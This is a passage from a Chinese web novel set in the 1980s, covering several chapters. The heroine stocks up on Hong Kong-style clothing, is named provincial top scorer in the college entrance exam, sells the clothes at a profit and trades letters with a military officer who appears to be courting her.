她选的裙子和毛衣都是比较时髦的亮色系，没有选后世不会出错的黑、灰。毕竟这是个“工农色”的年代，满大街不是军绿就是藏蓝，对于这个时期追求美丽的人们来说，黑暗的颜色没有吸引力，鲜艳明亮才好卖。 当然了，冬装外套和裤子还是要颜色深一些的好。毕竟冬天衣服不好洗 ，耐脏一点儿更实用。 即将风靡一时的喇叭裤，林珊已经在省城见到有人穿了，价格比连衣裙稍便宜一些，她在一家铺子一口气进了十六条，小号中号各一半。 厚外套和呢大衣阿强带她跑了好几家，终于在一家老板没舍得打开的新货口袋里，看见了心仪的款式，面料做工就跟不用说了，比年前林珊在百货公司买的那些高档多了。 林珊一口气选了六件短款外套和六件长大衣，五百五十块钱就这么花出去了。 皮鞋林珊不敢多拿，毕竟人的脚大小不一，她只选了五双细带粗跟的经典款式，黑色三双，深红色两双，全是三七码的。八十年代女性的脚码没有后世大，三六三七的脚居多。再加上她跟林红的脚又都是三七的，要是卖不出去，留着自己穿也行。 皮包她也找到了，款式和质量都能看上，但是价格太贵，身上的钱不多了，她还想再进些别的，只能下次再买了。 剩下的钱林珊另外又扫了一些造型别致的衬衫，普通版型的西装裤、九分裤，和秋冬一定会大卖的条绒裤也拿了不少。 郭峰和阿强两个人已经大包小包扛了起来，林珊手里也是一蛇皮袋的货，不过还有一样爆款没买到，她有些纳闷：“阿强哥，这地方只有这种短腰的袜子，没有那种长筒的丝袜吗？” 阿强猜她说得是电影里那种女的穿的长袜子，赶紧凑过来小声说：“那是水货，不在这块儿拿。” 林珊懂了，丝袜那玩意儿看着简单，但是工艺技术真不算低，至少现在境内的厂家应该还没有引进机器。要是知道有专门拿水货的地方，她就多留点儿钱了。 不过人不能太贪心，拿了这么多好货，她已经很满足了。 郭峰和阿强把货搬到车上之后，就直接带她去了拿水货的地方。那地方也不算太隐蔽，就是暗号挺多，还时常得玩儿游击战。 林珊在这儿不仅找到了心心念念的爆款丝袜，还买了一块手表和两个计算器。手表她打算送给王军当结婚礼物，计算器则是买给公司和赵桂花算账用。 尽管还有特别多的东西想买，但是身上拿货的钱已经彻底见底，只能留着下回再来了。 郭峰见林珊精神抖擞的，还有点儿意犹未尽的意思，笑道：“你精神头可真大，我看要不是钱不够，你能逛到明年。” 林珊笑着把买好的冰镇汽水递给两人，很感谢他们：“辛苦二位了，陪我逛了这么久。” 阿强摆摆手，郭峰喝了口汽水，问她：“你一次进这么多衣服，卖得了吗？” 林珊虽然不担心销路，但还是谦虚道：“我先试试，看看安河那边市场反应怎么样。” 郭峰没想到她胆子还挺大，一试就是小两千块钱，再结合起爷爷跟他说的林珊的事儿，又是搞什么加盟，又是考大学的，现在居然还倒腾起服装来了，他真开始觉得要是他俩成了，自己可能也镇不住人家。 爷爷说她已经有对象，不知道那小子能不能镇住。估计也不行吧。 郭有财因为要在粤城住上两个礼拜，林珊就没办法跟他们一起回去了，所以回城的路只有她一个人。好在她买的是卧铺票，也打电话通知了家里，王军说会去火车站接她。 这样上下车都有人接送，倒也不怕出什么事儿。 林珊的火车是下午四点开到安河的，车还没停稳，她就隔着窗户看见赵桂花、林红和王军了。他们冲她猛招手，她也热烈地回应着。 粤城就是再好，也没有家人在啊。 第74章 第74章 传来捷报 赵桂花一接到林珊, 就搂着她一通查看，生怕她这几天在外头遭了罪。 林珊被转来转去，笑着说：“我吃得好睡得好, 放心吧。” 赵桂花见她精神头确实不错，心里的石头总算落下了地, 不过等一低头看见这么老多货，瞬间就又开始发愁了, “你咋搞这么些啊！” 林珊拍拍她的肩膀，一边和王军林红他们往下搬货, 一边说：“就这都不够卖的。” 赵桂花很是怀疑, 发愁得不行，回去的路上嘟囔了一路。 林珊已经有几天没听见她的唠叨了, 一时还有点儿想念。倒是林红忍不住, 对赵桂花说：“妈, 姗姗哪次没有说到做到啊，你就别操心了, 她心里肯定有数。” 赵桂花知道这个理儿, 但她就是个操心的命。 回到家之后, 王军帮她们把包裹都搬到了客厅一角，林珊叫住他和林红，拆开其中一个比较小的包袱，从里面掏出一身儿红色西装套裙和一套深蓝色男士西服。 王军眼前一亮，“这是西装啊！还有领带！” 林红也惊喜得不行, “好洋气！”像电影画报上那些大明星穿得衣服！ 林珊把西装套裙放进林红怀里, 西装放进王军手里，笑眯眯地说：“给你们俩买的婚服，赶紧看看合不合适。” “好看！太好看了！”赵桂花在一旁激动得不行。 林红一听见婚服, 顿时有点不好意思，脸都热了。不过这一套红色西装裙子可真好看，她害羞地在身上比了比大小，整个人红成了一朵花。 林珊把她拉到了立柜前去照镜子，林红一看镜子里的自己都红成了猴屁股，赶紧笑着躲开了，“合适合适，不用看了。” 林珊忍不住笑了，这都要结婚了，居然还这么不好意思。 王军在一旁看林红看得眼睛都直了，真漂亮啊，真不敢想结婚那天她会成什么样儿！ “别看了，你也试试。”林珊推了把这个望妻石。 王军有点儿不好意思，呵呵傻笑了两声，直接把西服套在了衣服外头，然后走到镜子前照了照，“诶！这西装看着就是不一样啊！” 他很满意自己穿上的效果，开始幻想结婚那天的场景，笑得比刚才还傻。 林珊和赵桂花都被逗笑了，林红则是又想笑又害羞。 “还有皮鞋，姐，你看看是穿红的好，还是黑的好。”林珊把装皮鞋的包裹也拆了，摆出来让她试穿。 林红听话地挨个试了一下，选了深红色的那双。 王军大赞：“我也觉得红的好看！” 林红瞪他一眼，脸更烫了。 林珊把买给王军的那块手表也拿了出来，“军哥，这个送给你。” 王军一看盒子就知道是高级东西，打开一看，瞬间瞪大眼睛：“这表真漂亮！” “送给你的新婚礼物。”林珊很开心他喜欢，送这块儿表不是因为他是自己的未来姐夫，而是因为他是王军，她从穿来就备受王家的照顾，理应送上一份礼。 这块儿表是外国货，价格不便宜，她在后世也见过这个品牌，所以当时一眼就看中了。这年头能有块儿沪市牌手表已经很有面子了，更何况是这种金闪闪的外国货。 王军高兴坏了，但又觉得实在是贵重。 林珊直接用他常说的那句话堵他：“咱都是一家爱人了，你还客气什么啊。” 王军被说得哑口，只好接受了手表。心里其实美滋滋的。 林红感激地看着妹妹，没想到她出去一趟还一直惦记着自己的事儿。 赵桂花虽然觉得林珊出手大，但是给闺女和王军的话，她是一点儿都不会不舍得，毕竟是结婚嘛，就该办的红红火火！ 王军和林红的婚期定在今年的10月3号。十月份安河就不热了，再加上那天放假，方便大家参加婚礼。林珊就是到时候去念大学了，也能即使赶回来，所以两家人就定好了10月3号。 王军家的房子已经都装修好了，听他自己说三大件他也都买好了，就等着林红进门儿了。 林珊之前跟赵桂 花商量，她姐结婚的时候，家里出两千块。娘仨这两年来挣的钱从来没分过，都是花钱就跟赵桂花要。现在林红要出嫁成家了，家里自然不能还像以前那样管账。她有自己的小家庭要成立，挣得利润也该分一分了。 不过这些她们还没告诉林红，准备等结婚前再说。 给林红和王军分完结婚礼物之后，林珊就没再打开别的包裹，今天累了，等明天她要一个个拆包，然后好好把衣服都整理一下，熨一下。 晚饭吃了一碗满满当当的肉丝面后，林珊洗洗睡了。 第二天一早还没起床，就听见外头有人“咣咣”敲门。 赵桂花心想这谁一大早就催命啊，结果门一开发现是黄月萍老师。 “分、分分数出来了！出来了！”黄月萍激动地拽着赵桂花，气喘吁吁，眼眶爆红，“第一！第一！咱汉北省的状元！” “啥、啥啥——”赵桂花激动地两眼一翻，直接晕了过去。 黄月萍吓得赶紧扶住她，“诶诶诶！林珊妈！林珊妈！赶紧来人——！” 林珊和林红被吵得不轻，睡眼惺忪地出去一看，瞌睡瞬间被惊没了。 幸好赵桂花只是一时激动，把她扶到椅子上之后，人很快就缓过来了。 黄月萍激动地握住林珊的手：“孩子！状元！你是咱汉北省今年的状元！！！” 林珊没想到能考个状元，心里开心是开心，但同时也有挺心虚的，毕竟她在后世冲刺高考的时候，刷过不少以前的试卷。所以才觉得考试并不难，要是真出生在个年代，她肯定不可能考这么好。 黄月萍见她只是笑了笑，冷静得很，以为她没明白这个含义，她激动地说：“孩子！状元！这可是省状元啊！” “是啊闺女！状元！状元啊！”赵桂花摸着心脏口，激动地眼泪哗哗流，“你爸和你哥在那边不知道有多高兴啊！呜呜呜呜……咱老林家真是祖坟上冒青烟了啊！” 林红也呜呜哭着，激动地抱着林珊。 “好了好了，都别哭了，这是好事儿。”林珊安慰完一个，又安慰另一个。 赵桂花一看赵福来了，立刻拉着他大哭：“你妹子是状元！状元！咱全省的第一名！呜呜呜呜……” 赵福愣住，反映过来之后，瞬间大叫一声，抱着他大姑开始哭：“太好了！太好了！状元！状元啊！！！妹子！你太厉害了！！！” 林珊被他们一个个弄得哭笑不得，好一会儿等大家稍微平静一些之后，她才知道是省招办提前传来的信儿，黄月萍接到消息后，第一时间就冲过来报喜了。 市招办和学校这会儿应该已经沸腾了。 黄月萍激动地抹掉泪，“孩子！总分540 ，你只扣了四分！四分！走！快点儿洗把脸，学校那边儿领导肯定都到了，快，快收拾一下跟我走！” “快快快！”赵桂花也赶紧催促她，生怕她去晚点儿，分数就能有什么变动似的。 林珊被催着洗完漱，换了身衣服就匆匆跟黄月萍走了。 明天才是返校看分儿的日子，提前得到消息的领导老师们此刻却已经齐聚城西高中了。林珊被簇拥到市招办主任的面前，被各个激动万分的大人挨个儿表扬了一圈。 招办主任兴奋地声音颤抖：“林珊同学！你这次得表现非常优秀！省第二名跟你差了足足二十分！这次的卷子这么难！咱们省又是第一年实行‘3+2’模式！作为第一批试验区的考生，你的表现实在令人震撼！太震撼了！咱们安河市的孩子就是优秀！祝贺你林珊同学！” “谢谢主任。”林珊弯腰鞠躬。 校长也喜极而泣：“林珊！你是城西高中的骄傲！安河的骄傲！更是咱汉北省的骄傲！太棒了！实在是好样儿的！” “谢谢校长，没有您和学校老师们的教导，我也不会取的今天的成绩。”林珊再度礼貌鞠躬，对各位领导们说：“感谢市里和学校对我的培养和教育，以后我会继续努力，让高考成为我人生的起点，为国家和社会贡献出自己的力量，为实现社会主义的奋斗目标添砖加瓦！” “好！说得好！”招办主任带头鼓掌，大家都开始热烈鼓掌。他们现在看林珊，真是哪儿哪儿都好。城西高中在安河露了脸，安河又在全省出了名，所有人都是一副喜气洋洋的劲头。 赵桂花和赵福那边也没闲着，所有他们能跑到的地方，全部挨个儿通知了一遍。不到半天功夫，所有认识林珊的人就都知道她考了个省状元！ 就连远在粤城的郭有财都得到了消息，惊得他一家人都不知道该说什么了。 郭有财沉默了半天，忍不住感慨道：“金鳞岂是池中物，一遇风云便化龙，这丫头不简单啊。” 谁说不是呢，卖个包子能做成那样，高考直接考了个状元，别看现在刚开始倒腾服装，以后不知道能做成多大规模，真是前途无量啊。 “多好的孩子啊，可惜我儿子配不上。”郭广发感慨都不忘拉踩郭峰。 郭峰挠挠头，“配不上就配不上呗，跟省状元做个朋友总行吧。” 他本来都已经歇了这心思了，可这回重新见到林珊，又开始觉得她可真好看啊，小火苗眼看着刚要发芽，就被彻底灭得死死的。 他这头死心了，那头心思高涨的贺正岩，接到王军的电话后，却高兴得不行。 省状元！她居然考了个省状元！ 第75章 第75章 她是省状元 贺正岩虽然没高考就参军了, 但他也知道那难度有多大。京市有个认识的哥们儿，考了四年才上了大学，就这还是找人补过课的。 林珊平时有生意要忙, 居然一下就考了个省状元，怎么这么聪明！简直就是个小天才！ 他高兴得情绪过于明显, 以至于底下的一帮小战士们都看出来了，“团长, 这是有啥好事儿啊？” “专心操练！”贺正岩板着脸训了他们两句，自己回屋乐去了。 他得写封信给她, 最近演习在即, 实在没法儿出去，不然还真想跑去安河当面恭喜一下。 以前都是林珊写信过来, 他负责回。夜里, 贺正岩坐在书桌前写完恭喜的话之后, 脑子就有点儿短路了，写点儿什么好呢？ 他突然想起林珊都是把她自己和家里的计划说给他听, 受到启发之后, 贺正岩也有模有样地把自己的计划写了出来。只是这写着写着, 他就觉得不行。 他的计划都是训练，训练，演习，演习，要不就是出任务, 继续出任务。一点儿意思都没有, 她看了肯定会觉得无聊。 家里的事儿也很平淡，写出来也没劲。贺正岩想来想去，觉得小时候跟爷爷在一起的时光很快乐, 也挺有意思，就写了两件童年趣事。 写完之后，他自己还挺满意。细细检查了一番，就装进信封了。 不能光寄信，他又想起来林珊好像很喜欢吃他寄过去的菠萝罐头，腊肉她好像也挺喜欢的，于是第二天他就收罗了一大箱吃的，把自己七大姑八大姨寄过来的那些南边的“新鲜货”，也都通通装进了箱子。 最后再把信郑重地往里一放，抱着沉甸甸地箱子邮寄出去了。 学校正式开分儿之后，所有人的心都落地了。城西高中出了个省状元的事，很快就传遍了坊间。 市里的，报社的，省电视台的，通通都围堵在城西高中，等着目睹状元的风采。 林珊本来以为昨天就够隆重了，没想到今天更夸张，比赵桂花预想的敲锣打鼓更厉害，省电视台要采访她。 这年头上电视可是天大的事情，市招办的领导和老师们怕她紧张，跟人家电视台的同志沟通了又沟通，教了她一遍又一遍，最终才敢放她进去面对记者。 这次采访既有报纸上的文字稿，又有电视画面。林珊能理解大家的重视，她代表着城西高中，甚至整个安河市的教育形象，必须好好表现才行。 电视台的工作人员已经等候多时了，一见林珊进来，全场瞬间鸦雀无声。要是不是她被校长领着，他们还真怀疑这不是高考生，而是哪个电影里出来 的明星。 “刘校长，她、她就是林珊？咱汉北省今年的状元？”记者同志震惊地询问。 刘校长一脸骄傲地说：“千真万确，她就是林珊，咱省的高考状元！品学兼优，才貌双全！” 林珊礼貌地对各位工作人员鞠了一躬，自报家门：“各位老师们好，我是林珊。” “诶，好好好！林同学坐，坐这儿。”记者高兴地指着一个椅子让林珊落座，跟身后的同事使了个眼色，对方立刻把手里镜头对准林珊，还给了个大特写。 林珊没见过这个年代的录像机，好奇地多看了两眼，摄像同志在机器后头激动得想拍大腿，这小姑娘比之前他拍过的一个女演员还上镜，关键还是省状元！ 采访正式开始，屋里的人瞬间被请出去一大半。 林珊刚才被校长和老师们培训了一大会儿，都知道要问什么了，所以回答起问题来非常顺畅，时刻不忘感谢学校，感谢安河，感谢汉北省，感谢国家和社会。 记者同志非常满意，聊完了成绩的事儿，他又开始切入林珊的家境话题。他之前稍微做过功课，知道一些林家的情况，打算做一篇面前全社会的励志报道，而不仅限于高考。 林珊一早等着他问这个了。 这么难得的面向全省人民的宣传活动，她怎么可能不借机宣传一下“爱国大肉包”呢。 她用最简洁的语言描述了一下自家之前的惨状，述说了一下卖包子的初衷，普及了一下现在的规模，再次感谢了全社会。 记者听得大受震撼，忍不住问道：“当初摆摊的时候，那么冷的天，冻得不行吧，回家又要拼命学习，有熬不住的时候吧？” 林珊腼腆地笑了，“有，不过每当这个时候，我就会想到这个世界上比我辛苦的人多多了。守卫边疆的战士，刻苦钻研的科学家，孜孜不倦的老师……每一位坚守在岗位的人都很辛苦，大家都在默默地奉献自己的力量，我这点累又算什么。” 记者同志在心里狂点头，听得很想鼓掌，“好！这就是我们祖国的未来！积极向上，坚韧不拔，我想也正是具备了这样优秀的品质，你才能成为省高考状元！恭喜你，林珊同学！” “谢谢您，我会继续努力的。”林珊礼貌地颔首感谢，花儿一样的青春容貌和“伟光正”的表现很招人喜欢，瞬间就俘获了在场所有人的心。 电视播出内容没办法延长，但是报纸版面必须扩大！这么优秀的姑娘，应该成为全省学子的楷模！ 采访结束后，林珊还按照要求照了张单人相，以及跟老师和市教委的领导们集体合照。所有人都高高兴兴地拍了照，满心期待着采访的播出。 可惜这年头有电视的人太少了，不然宣传效果绝对更强，不过有省报和市报已经非常牛了。 学校这边儿的事忙完，林珊中午吃完饭刚想歇会儿，市里和区里就敲锣打鼓地登门来报喜了。又是横幅，又是锣鼓，他们走了多远，就有多少群众知道安河出了个省状元，此人不是别人，正是“爱国大肉包”家的小老板——林珊。 赵桂花喜极而泣，站在门口哭得稀里哗啦，她做梦都盼着能有这么一天，没想到真得实现了！她闺女真争气！不但能考上大学！还直接考了个省状元！京大清大随便她挑！ 老天保佑，祖宗保佑，呜呜呜……她哭得鼻涕一把泪一把，这么多年的所有心酸都在这一瞬间，被彻底清理得干干净净。 她赵桂花是没了男人没了儿子，但是那又怎么样？！她闺女照样能把这个家撑起来！照样能光宗耀祖！ 周围的邻居都过来祝贺，说得赵桂花是一会儿哭一会儿笑的。杨老太也打开了她常年紧闭的家门，没想到这丫头真争气！居然是全省第一名！好样的！ 领导们前一阵才表扬了林家的“爱国大肉包”，对林家人完全不陌生，对着林珊是真心实意地夸了又夸，家里有儿子的，都开始琢磨是不是能跟自家孩子处个对象了。 不过人家是省状元，百分百进京大清大的料儿，以后找对象肯定是不在安河考虑了。 林兰偷偷躲在街道的拐角处，看着林珊被簇拥在人群正中间，笑得那叫一个灿烂，她恨不得立刻冲出去划烂她的脸。 状元！ 而且还是省状元！ 凭什么？她林珊凭什么？她真得就是一个彻头彻尾的棒槌，就算她重生了，怎么可能比自己考得还好？不可能的！绝对不可能！ 疯狂的嫉妒充斥着林兰，让她没办法理性地思考。 现在还有谁记得自己？明明她才是安河第一个考进首都的人！她才是林家的骄傲，安河的骄傲！这些街坊根本就是一堆墙头草！ 风往哪儿刮，他们就往哪儿倒！真是恶心！ “小兰，咱走吧。”刘淑芬小声劝着，她真怕闺女一个冲动跑出去闹事。 林兰到底不是那种没有脑子的人，她愤恨地踢开脚下的小石头，嗖一下往家跑了。谁知才要拐进胡同，就跟杨清明碰了头对头。 “诶呦，你这是干啥？！”杨清明现在对林兰是半点儿都不客气了，一见是她，立刻拉着脸训人。 林兰懒得跟他废话，瞪他一眼就准备继续往家走。 杨清明却一把将人拽住，“诶！碰着人了连句对不起都不会？你们林家就是这么教育人的？” 林兰本来就气得够呛，正想回去发疯，偏偏又碰见这个傻子上赶着找抽，于是她劈头盖脸地朝着杨清明就是一顿乱抓。 “啊啊啊！你疯了？！林兰你想干啥！泼妇！泼妇啊！”杨清明哇哇乱叫，吓得四处逃窜，没想到一向温柔的林兰居然也变得这么疯狂，这林家真是可怕，妥妥的两个泼妇！ 他还哪敢再教训林兰，直接捂着脸跑出了胡同。 今天高考成绩下来，他想去城西高中看看今年大家考得怎么样，好再给自己找一波儿存在感。被人仰慕的滋味实在是太美好了，喝着冰凉的汽水，看着他们稚嫩的小脸，回答着一个又一个关于大学、关于首都的问题，别提多快活了。 本来多美的事儿，结果一出门却遇上林兰发疯，真是晦气！他以前真是瞎了，竟然会觉得她跟林珊都是温柔善良的姑娘！ 唉，真是往事不堪回首啊。 不过提到林珊，听说她居然也参加高考了。呵，真是太阳打西边出来了。可惜啊，没用就是没用，预考跟高考能是一回事儿吗？真那么容易的话，就不叫千军万马过独木桥咯。 杨清明得意地朝城西高中走着，突然被一阵锣鼓喧天的热闹给吸引了注意力，稍稍探头一看，诶，居然是林珊家。 咋了这是？ 他跑过去偷偷一瞧，瞬间被横幅上那个“省高考状元林珊”震得全身发麻，一动不能动。 第76章 第76章 女装大卖 林珊真真切切体会了一把, 这个年代的老百姓对状元的热情。她没想到这股热度竟然持续了将近一周，都有点儿耽误卖衣服了。 林珊这几天抽空的时候，把进来的衣服都整理了一遍, 该熨的熨，该挂的挂, 满客厅都是时髦的女装。 赵桂花虽然一开始嫌她货拿的多，但是瞧着这么些漂亮的衣服, 她也忍不住感慨：“真好看啊这裙子。” 只要不刻意压抑自己，女性不管多大岁数, 就没有不爱漂亮的。林珊让她试了件白色的连衣裙, 赵桂花一开始打死不试，直嚷嚷岁数大了, 这都是年轻小姑娘穿的。 非得林珊硬逼着, 她才脱掉褂子试了试。 赵桂花年轻的时候就是一枝花, 现在虽然上了些年纪，但底子仍然不错, 个字又高, 一穿上这半袖的连衣裙, 顿时像换了个人。 “漂亮！像报社的女干部。”林珊忍不住夸她。 林红也笑着说：“妈穿这个真好看。” “你俩就哄我吧。”赵桂花嘴上这么说，却站在镜子面前不舍得离开，左看看又看看，感觉好像确实还不错，“诶, 人家这布料就是好啊, 又凉快又垂，还不透！” 林珊笑着搭住她的肩，“妈你明天再去烫个头, 把咱的皮鞋也穿上，绝对比那些大城市的女同志还时髦。” “切，拿你妈开涮。”赵桂花作势要揍林珊，被她笑着躲开了。 林红挑了件浅蓝色的，林珊挑了件雪青色的，母女三个一人一条，齐刷刷地在屋里照镜子，不知道的还以为时装秀呢。 “珊珊，这些衣服你打算去哪儿卖啊？”林红好奇，这么好的衣服，要是摆摊的话，感觉也有点儿……怎么说呢，浪费？ “公司。”林珊去之前就想好了，公司地理位置非常不错，在门口摆个摊，把衣服一摆一挂就可以开卖了。 她现在时间紧，找店面开铺子的时间挤一挤倒是能成，但是卖完一茬，没办法稳定的拿货是个大问题。毕竟九月她就要去上大学了，不把学校那边先搞定，她也不知道自己能有多少时间跑粤城。 她这次其实只是试水，淌淌粤城的路，简单卖几件衣服验证一下市场。等过一段时间她稳定了供货，找到了熟悉的渠道，再开店也不迟。现在资金不成问题，要开她肯定会开个高档点儿的服装店。 林红听了林珊的计划后，心里非常愧疚，“我真没用，应该我去拿货的，害得你都没法儿专心上学。” 赵桂花也发愁，“是啊，啥都没有你上大学重要，要不咱别干服装了，包子铺完全够咱生活得很好了。” 林珊这么说可不是他们愧疚的，“妈，姐，你们就放心吧，我不但不会耽误学业，还会拿个优秀学生回来给你们看。做服装是我想做的，当然得我去拿货了，这又没什么。以后咱们三个可以一块儿去，既能去那边见见世面，又能了解一下怎么挑货。咱们共同进步，好不好？” “共同进步？”林红很喜欢这个词，虽然还是觉得愧疚，但正因为这样，她才要更努力才行，让自己好好学习，努力成为妹妹的左膀右臂。 “是啊，咱们三个共同努力，一起把事业做大做强！冲出安河，走向世界！”林珊握紧拳头给俩人打鸡血。 “好！共同努力！”林红被感染了，也握紧拳头要往前冲。 赵桂花对现在的生活早就知足了，尤其是林珊成了省状元之后，她真得觉得这日子已经美得上天了，只希望俩闺女以后都好好儿的就行。红红有了王军，她暂时不用操心，只盼着姗姗将来也找个好人家，不用大富大贵，只要人好，俩人又合得来，她就彻底满足了。 看着两个孩子朝她投来期待的目光，赵桂花无奈地叹气：“老娘这么大岁数还得陪你们进步啊？” “嗯，一个都不能拉下！”林珊示意她赶紧握拳加入。 赵桂花没辙，敷衍得握住拳头，被迫加入姐妹俩。 第二天，林珊把一些要送人的衣服挑出来之后，其余的全部搬到了公司。她还准备了张牌子，上面写着：港城高档女装，货少时间紧，先到先得。 林珊在公司门口摆了两张桌子，外加一个木头架子，春夏装和秋冬装简单一分区，挂得挂，摆得摆。再加上她随意两声吆喝，不一会儿就挤过来很多女同志。 林珊在这片儿太出名了，又刚考了个省状元，听她一说是从南边回来带的一些高档货，谁不想赶紧来看看有没有自己喜欢的。 林珊挑的这些衣服，基本都是八十年代港城流行的款式。爱美的女同志都是识货的，一看就错不开眼珠子了，再上手一模布料，瞬间暗暗惊叹：果然是港城高档货啊。 连衣裙一件三十五，毛衣一件四十五，喇叭裤一条三十，衬衫也是三十，呢子大衣两百一件，短款妮子外套一百二……贵是真贵，好也是真好。 有两个小媳妇模样的女同志，估计工资不低，上来就一人买了一条连衣裙。作为第一位顾客，林珊还送了她们一人一条小丝巾，两个女同志惊喜地大叫：“啊，太好看啦！我前阵子看电影的时候，那个什么惠子就戴了一条！” “我也要一件连衣裙！能不能也送我一条？”一个正在犹豫的小姑娘立刻下了决定。 林珊笑着说：“当然可以，一共就这么多，先买先送。” 其他围观的人一看她那个盒子里一共也不剩几条丝巾了，赶紧纷纷预定好。 “我要毛衣，蓝色这件，丝巾可以给我这条紫色的吗？” “可以！”林珊利落地把毛衣和丝巾都递过去，姑娘摸着口袋说：“正好我今天才刚开了工资，身上的钱够。” 身上带的钱不够的，都纷纷跟林珊靠好，衣服先给她们留着，这就回家拿钱。 林珊周末上午十点钟正式摆的摊，一直忙到一点，围着摊位的人都没减少，衣服却只剩下零星几件了。赵桂花从头到尾就一直站在椅子上看着自家的货，她要防着哪个不道德的趁乱顺走衣服。 林珊没想到这么多衣服里，最快卖没的竟然是呢子大衣。要知道现在可是夏天，她的要价又不便宜，但识货的女同志们就是厉害，上来就知道哪个性价比最高。 喇叭裤更不用提了，有的小姑娘直接就要买两条。 一直卖到下午两点钟，卖出最后一件衬衫之后，林珊才有功夫吃上口饭。 夜里回去赵桂花把钱一数，笨拙地用计算机一按，瞬间就不想卖包子了。 “3251！”她惊呆了下巴，“纯赚啊！纯赚啊孩子！抛除你买货的本钱，一上午就挣了这么多！” 林红也吓傻了，“这、这得……天呐！”怪不得人家都去南方挣钱！ 林珊笑着拍拍她俩，“现在知道我为什么要做服装了吧。”卖吃的东西利润是极其有限的，毕竟单价低，靠量取胜。所以她才要搞加盟，赚加盟和供货的钱。 衣服就不一样了，跟这个时代其他产品一样，都属于需求大爆发，供不应求。能弄到货的，基本就没有不挣钱的。更何况她进得还都是批发市场里的紧俏货，再加上审美的加持，对于爱美又有些钱的人来说，这些衣服一下就击中了她们的心。 “老天爷，咱、咱以后要是开店的话，那岂不是能睁得更多！”赵桂花激动无比。 林珊想了想要怎么解释这个事情，“怎么说呢，大体上是这样没错，不过店面投资大，支出也多，不可能像今天这样来这么快，毕竟谁也不可能天天去买衣服，而且还买这么贵的衣服。” 赵桂花一听这个，瞬间就有点儿蔫了，“是啊，谁今天买了，明天还来啊？” 林珊见她这样，笑道：“不过目前服装市场的需求量非常巨大的，开店的利润非常可观，机会十分难得，‘过了这个村，就没这个店’，咱必须抓紧这个风口。” 赵桂花虽然听不太懂风口的意思，但是她大体明白了，闺女的意思是这个钱必须挣，“那比包子铺挣钱吧？” 林珊点点头：“当然啦。” 桂花女士放心了，林红也笑着看向林珊，那表情明晃晃地写着：我妹妹怎么这么厉害啊！ 次日林珊准备把之前特意留在家里，没有售卖的衣服拿出来，开始一一去送礼。 结果才刚整理了两件，负责这片儿的邮递员大哥就过来通知她去取包裹。 这个季节会给他寄东西的，应该只有贺正岩了吧。 果然，到邮局一看，他竟然搞了这么一大箱。幸好林红跟她一块儿骑三轮车过来的，不然还真是搞不定。 林珊怕天热，寄吃得容易坏，回去就赶紧开箱了。还好，大多数都是些“高乐高”之类的副食品，罐头也不怕放，只有那一大块腊肉，居然都热得有些泛油光了。林珊闻了闻，幸好那东西咸，没坏。 箱子旁边夹着一封信，她大概猜得出内容，打开一看果然是恭喜她高考成功的，然后……林珊发现他密密麻麻居然写了两页半，要知道以往他回信的时候，几乎都是刚刚过半页纸，那还是因为他字体大的原因。 她突然有点儿想笑。 男人真挺好猜的，没意思的时候，多写一个字都嫌多，有意思了，两张纸都不够写。 林红在一旁归置东西，见妹妹看信看笑了，又回想起最近发生的一切，她突然有种预感，“姗姗，你跟贺领导……不、不会是那什么吧？” 第77章 第77章 贺正岩的信 “那什么？”林珊装傻。 林红凑过去, 超小声地说：“就是那个啊，他、他是不是喜欢你？！” 林珊想了两秒，觉得也没什么好瞒着林红的, 于是如实道来：“可能吧，不过他没说, 我也不确定到底是不是那个意思。所以我打算当做什么都不知道，一切顺其自然。” 林红一把捂住嘴, 满脸的惊喜和开心，“我觉得他喜欢你！你去粤城的那天我就觉得奇怪, 他来得也太早了！就、就算是为了帮咱哥照顾咱家, 也不用做到这个份儿上啊！果然……” 她呵呵呵地笑开了颜，一副“我妹子已经有了好对象”的模样。 林珊赶紧声明：“我还不确定自己对他有没有意思呢, 八字没一撇的事儿, 你不要高兴得太早。” “好好好。”林红猛点头, 人还是忍不住开心地笑。 林珊无语了，“你可不能告诉妈啊。” 林红：“嗯嗯嗯！” “……”林珊服了, 以前怎么没发现她这么爱笑。 对待贺正岩她确实准备顺其自然, 提前想些有的没的, 纯属给自己找烦恼。如果他挑明，她会把心里的想法如实说出来，如果他不挑明，她自然也不会说什么。 无论以后两个人能不能发展成男女关系，他都是个非常值得尊敬的好人。从小胡同挺身而出, 到偷塞给自家的那两百块钱, 再到后来的救命之恩，贺正岩这个人，对她家和她本人的意义是不一样的。 林珊受不了林红一看自己就开心的笑, 干脆拿着信回房间了。 贺正岩信里除了恭喜她之外，还问她想上哪个大学，学什么专业，以后有什么打算？是想一直做生意，还是进一个好单位？另外他还解释了一下这阵子为什么忙，并且写了一些日程安排，说明之后大概什么时候有空。跟着话锋突然一转，竟然开启了童年模式。 他写他小时候跟爷爷住在京市的部队，那部队在郊区山里，他天天不是抓虫玩儿，就是偷看人家训练，还总喜欢往野地里跑。有一回跟院儿里的几个孩子跑丢了，还被野猪追了半天。 他还写他跟小伙伴在山上遇见了蛇，那会儿不知道蛇有毒，直接用手抓住带了回去，吓得满屋人到处乱窜。后来他爷爷说他再瞎跑出去就打断他的腿，他就只能在营地里捉青蛙玩儿了。 贺正岩还说，他那会儿最喜欢每年夏天的时候抓蝉蛹吃。晚上不睡觉拿着手电筒到处找，树上的找完了，就抠地上的洞，浇点儿水，一会儿它自己就爬出来了。 他说抓来的那些蝉蛹，家里的保姆会洗洗放在盐水里泡一夜，第二天用油一炸，香得满屋小孩儿都直流口水。 他密密麻麻写了一大通，最后还问她：你小时候有什么好玩儿事吗？ 林珊看笑了，实打实地笑出声来了。 这就是他追女孩子的方式吗？ 他怎么会觉得野猪、毒蛇、青蛙还有油炸知了的幼虫，会让她觉得特别好玩儿呢。就这该不会还是他绞尽脑汁想出来的吧。前后文转折如此生硬，必定是憋了很久才想蹦出这些东西的吧。 怎么办？ 突然觉得他有点儿可爱。明明长得人高马大，肩宽背阔，平时还一脸严肃，这会儿在她眼里却变得有点儿可爱和稚嫩。 于是，等她笑够了，拿出纸笔开始回信。 林珊把自己打算读清大计算机系的事儿说了，还表明以后大学毕业了，应该也不会进单位，而是会继续做家里的做生意。 包子铺日后的发展，她之前跟他提过。这回就把做服装生意的打算，细细说了一遍。还把要冲出安河，走向世界的志向也都说了。 林珊之所以写这么详细，其实也是想让他明白她是个什么样的人。如果他接受，那两人或许有机会发展，如果不能，趁早打消念头回归到朋友的模式，这样对谁都好。 写完了雄心壮志，她又琢磨了一会儿到底有什么童年趣事可以写。 毕竟她是穿过来的，脑子里的记忆也好像都不是些美好的东西。所以憋了会儿实在没有，她就实话实说了。 